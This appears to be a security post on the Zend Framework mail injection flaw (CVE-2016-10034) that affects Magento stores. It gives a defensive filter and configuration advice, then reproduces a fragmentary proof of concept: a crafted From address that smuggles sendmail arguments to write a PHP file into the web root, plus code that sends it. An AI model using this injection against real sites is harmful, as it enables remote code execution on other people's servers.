filter checks for the sequence \" in the local part of the email From address.

$from = $headers->get('From');
if ($from) {
    foreach ($from->getAddressList() as $address) {
        if (preg_match('/\\\"/', $address->getEmail())) {
            throw new Exception\RuntimeException("Potential code injection in From header");

To protect your site from this vulnerability, you should immediately check your mail sending settings. Go to the system settings used to control the “Reply to” address for emails sent from your Magento store:

Magento 1: System-> Configuration-> Advanced-> System-> Mail Sending Settings-> Set Return-Path

Magento 2: Stores-> Configuration-> Advanced-> System-> Mail Sending Settings-> Set Return-Path

“Set Return-Path” is set to “Yes,” and your server uses Sendmail, then your store is vulnerable to this exploit.

following code is used to hack remote code execution by zendMailer

Zend Framework < 2.4.11    Remote Code Execution (CVE-2016-10034)
zend-mail < 2.4.11 
zend-mail < 2.7.2 
Discovered/Coded by:
Dawid Golunski

Follow the feed for updates:

A simple PoC (working on Sendmail MTA)
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-r]
Arg no. 4 == [attacker\]
Arg no. 5 == [-oQ/tmp/]
Arg no. 6 == [-X/var/www/cache/phpcode.php]
Arg no. 7 == ["]

which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.

The resulting file will contain the payload passed in the body of the msg:
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<< 
09607 <<< <?php phpinfo(); ?>
09607 <<< 
09607 <<< 
09607 <<< 
See the full advisory URL for the exploit details.
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "';
// encoded phpinfo() php code
$msg_body = base64_decode("PD9waHAgcGhwaW5mbygpOyA/Pg==");

// ------------------
// mail() param injection via the vulnerability in zend-mail

include 'vendor/Zend/Loader/AutoloaderFactory.php';

        'Zend\Loader\StandardAutoloader' => array(
                'autoregister_zf' => true

Zend\Mvc\Application::init(require 'config/application.php')->run();

$message        = new \Zend\Mail\Message();

$message->setFrom($email_from, 'Attacker');
$message->addTo('support@localhost', 'Support');
$message->setSubject('Zend PoC');

$transport  = new \Zend\Mail\Transport\Sendmail();
